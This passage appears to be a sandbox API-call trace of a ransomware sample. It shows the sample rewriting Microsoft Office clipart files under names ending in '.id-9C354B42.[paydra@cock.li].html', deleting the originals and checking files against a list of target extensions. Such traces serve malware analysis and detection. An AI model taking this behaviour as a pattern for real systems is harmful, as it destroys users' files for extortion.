lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.418] WriteFile (in: hFile=0x208, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.418] SetEndOfFile (hFile=0x208) returned 1 [0052.418] CloseHandle (hObject=0x208) returned 1 [0052.418] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.418] SetEndOfFile (hFile=0x17c) returned 1 [0052.419] CloseHandle (hObject=0x17c) returned 1 [0052.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.419] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01216_.wmf")) returned 1 [0052.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0052.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0052.420] lstrlenW (lpString=".doc") returned 4 [0052.420] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.420] lstrlenW (lpString=".docx") returned 5 [0052.420] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.420] lstrlenW (lpString=".pdf") returned 4 [0052.420] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.420] lstrlenW (lpString=".xls") returned 4 [0052.420] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.420] lstrlenW (lpString=".xlsx") returned 5 [0052.420] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.420] lstrlenW (lpString=".ppt") returned 4 [0052.420] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0052.420] lstrlenW (lpString=".zip") returned 4 [0052.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.420] lstrlenW (lpString=".rar") returned 4 [0052.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.420] lstrlenW (lpString=".bz2") returned 4 [0052.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.420] lstrlenW (lpString=".7z") returned 3 [0052.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0052.420] lstrlenW (lpString=".dbf") returned 4 [0052.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0052.420] lstrlenW (lpString=".1cd") returned 4 [0052.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01216_.WMF") returned 63 [0052.420] lstrlenW (lpString=".jpg") returned 4 [0052.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.421] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.421] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.421] GetLastError () returned 0x0 [0052.421] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xbc4, lpOverlapped=0x0) returned 1 [0052.422] WriteFile (in: hFile=0x208, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xbd0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xbd0, lpOverlapped=0x0) returned 1 [0052.423] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.423] WriteFile (in: hFile=0x208, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.423] SetEndOfFile (hFile=0x208) returned 1 [0052.423] CloseHandle (hObject=0x208) returned 1 [0052.423] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.423] SetEndOfFile (hFile=0x17c) returned 1 [0052.424] CloseHandle (hObject=0x17c) returned 1 [0052.424] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.424] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01218_.wmf")) returned 1 [0052.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0052.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0052.425] lstrlenW (lpString=".doc") returned 4 [0052.425] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.425] lstrlenW (lpString=".docx") returned 5 [0052.425] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.425] lstrlenW (lpString=".pdf") returned 4 [0052.425] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.425] lstrlenW (lpString=".xls") returned 4 [0052.425] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.425] lstrlenW (lpString=".xlsx") returned 5 [0052.425] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.425] lstrlenW (lpString=".ppt") returned 4 [0052.425] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0052.425] lstrlenW (lpString=".zip") returned 4 [0052.425] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.425] lstrlenW (lpString=".rar") returned 4 [0052.425] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.425] lstrlenW (lpString=".bz2") returned 4 [0052.425] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.425] lstrlenW (lpString=".7z") returned 3 [0052.425] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0052.425] lstrlenW (lpString=".dbf") returned 4 [0052.425] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0052.425] lstrlenW (lpString=".1cd") returned 4 [0052.425] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.425] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01218_.WMF") returned 63 [0052.425] lstrlenW (lpString=".jpg") returned 4 [0052.425] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.426] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.426] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.426] GetLastError () returned 0x0 [0052.426] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0xac4, lpOverlapped=0x0) returned 1 [0052.427] WriteFile (in: hFile=0x208, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xad0, lpOverlapped=0x0) returned 1 [0052.428] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.428] WriteFile (in: hFile=0x208, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.428] SetEndOfFile (hFile=0x208) returned 1 [0052.429] CloseHandle (hObject=0x208) returned 1 [0052.429] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.429] SetEndOfFile (hFile=0x17c) returned 1 [0052.429] CloseHandle (hObject=0x17c) returned 1 [0052.429] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.430] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01251_.wmf")) returned 1 [0052.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0052.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0052.430] lstrlenW (lpString=".doc") returned 4 [0052.430] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.430] lstrlenW (lpString=".docx") returned 5 [0052.430] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.430] lstrlenW (lpString=".pdf") returned 4 [0052.430] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.430] lstrlenW (lpString=".xls") returned 4 [0052.430] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.430] lstrlenW (lpString=".xlsx") returned 5 [0052.430] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.430] lstrlenW (lpString=".ppt") returned 4 [0052.430] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0052.430] lstrlenW (lpString=".zip") returned 4 [0052.430] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.430] lstrlenW (lpString=".rar") returned 4 [0052.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.430] lstrlenW (lpString=".bz2") returned 4 [0052.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.430] lstrlenW (lpString=".7z") returned 3 [0052.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0052.430] lstrlenW (lpString=".dbf") returned 4 [0052.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0052.431] lstrlenW (lpString=".1cd") returned 4 [0052.431] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.431] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01251_.WMF") returned 63 [0052.431] lstrlenW (lpString=".jpg") returned 4 [0052.431] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.431] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.431] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.434] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.434] GetLastError () returned 0x0 [0052.434] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x1ccc, lpOverlapped=0x0) returned 1 [0052.436] WriteFile (in: hFile=0x208, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1cd0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x1cd0, lpOverlapped=0x0) returned 1 [0052.437] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.437] WriteFile (in: hFile=0x208, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.437] SetEndOfFile (hFile=0x208) returned 1 [0052.437] CloseHandle (hObject=0x208) returned 1 [0052.437] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.437] SetEndOfFile (hFile=0x17c) returned 1 [0052.438] CloseHandle (hObject=0x17c) returned 1 [0052.438] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.438] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an01545_.wmf")) returned 1 [0052.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0052.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0052.439] lstrlenW (lpString=".doc") returned 4 [0052.439] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.439] lstrlenW (lpString=".docx") returned 5 [0052.439] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.439] lstrlenW (lpString=".pdf") returned 4 [0052.439] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.439] lstrlenW (lpString=".xls") returned 4 [0052.439] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.439] lstrlenW (lpString=".xlsx") returned 5 [0052.439] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.439] lstrlenW (lpString=".ppt") returned 4 [0052.439] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0052.439] lstrlenW (lpString=".zip") returned 4 [0052.439] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.439] lstrlenW (lpString=".rar") returned 4 [0052.439] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.439] lstrlenW (lpString=".bz2") returned 4 [0052.439] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.439] lstrlenW (lpString=".7z") returned 3 [0052.439] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0052.439] lstrlenW (lpString=".dbf") returned 4 [0052.439] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0052.439] lstrlenW (lpString=".1cd") returned 4 [0052.439] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.439] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN01545_.WMF") returned 63 [0052.440] lstrlenW (lpString=".jpg") returned 4 [0052.440] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.441] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.441] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.441] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0052.441] GetLastError () returned 0x0 [0052.441] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x1d74, lpOverlapped=0x0) returned 1 [0052.443] WriteFile (in: hFile=0x208, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x1d80, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x1d80, lpOverlapped=0x0) returned 1 [0052.444] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.444] WriteFile (in: hFile=0x208, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.444] SetEndOfFile (hFile=0x208) returned 1 [0052.444] CloseHandle (hObject=0x208) returned 1 [0052.444] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.444] SetEndOfFile (hFile=0x17c) returned 1 [0052.445] CloseHandle (hObject=0x17c) returned 1 [0052.445] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.445] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02122_.wmf")) returned 1 [0052.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0052.445] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0052.445] lstrlenW (lpString=".doc") returned 4 [0052.445] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.445] lstrlenW (lpString=".docx") returned 5 [0052.445] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.445] lstrlenW (lpString=".pdf") returned 4 [0052.445] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.445] lstrlenW (lpString=".xls") returned 4 [0052.445] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.445] lstrlenW (lpString=".xlsx") returned 5 [0052.445] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.445] lstrlenW (lpString=".ppt") returned 4 [0052.446] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0052.446] lstrlenW (lpString=".zip") returned 4 [0052.446] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.446] lstrlenW (lpString=".rar") returned 4 [0052.446] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0052.446] lstrlenW (lpString=".bz2") returned 4 [0052.446] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0052.446] lstrlenW (lpString=".7z") returned 3 [0052.446] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0052.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0052.446] lstrlenW (lpString=".dbf") returned 4 [0052.446] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0052.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0052.446] lstrlenW (lpString=".1cd") returned 4 [0052.446] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0052.446] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02122_.WMF") returned 63 [0052.446] lstrlenW (lpString=".jpg") returned 4 [0052.446] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0052.446] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.446] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.446] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0052.504] GetLastError () returned 0x0 [0052.504] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x19e8, lpOverlapped=0x0) returned 1 [0052.510] WriteFile (in: hFile=0x19c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0x19f0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0x19f0, lpOverlapped=0x0) returned 1 [0052.511] ReadFile (in: hFile=0x17c, lpBuffer=0x3c80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0052.511] WriteFile (in: hFile=0x19c, lpBuffer=0x3c80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c80020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0052.511] SetEndOfFile (hFile=0x19c) returned 1 [0052.530] CloseHandle (hObject=0x19c) returned 1 [0052.530] SetFilePointerEx (in: hFile=0x17c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0052.530] SetEndOfFile (hFile=0x17c) returned 1 [0052.531] CloseHandle (hObject=0x17c) returned 1 [0052.531] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0052.531] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\an02559_.wmf")) returned 1 [0052.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0052.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0052.637] lstrlenW (lpString=".doc") returned 4 [0052.637] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0052.637] lstrlenW (lpString=".docx") returned 5 [0052.637] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0052.637] lstrlenW (lpString=".pdf") returned 4 [0052.637] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0052.637] lstrlenW (lpString=".xls") returned 4 [0052.637] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0052.637] lstrlenW (lpString=".xlsx") returned 5 [0052.638] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0052.638] lstrlenW (lpString=".ppt") returned 4 [0052.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0052.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AN02559_.WMF") returned 63 [0052.638] lstrlenW (lpString=".zip") returned 4 [0052.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0052.638] lstrlenW (lpString=".rar") returned 4 [0052.638] 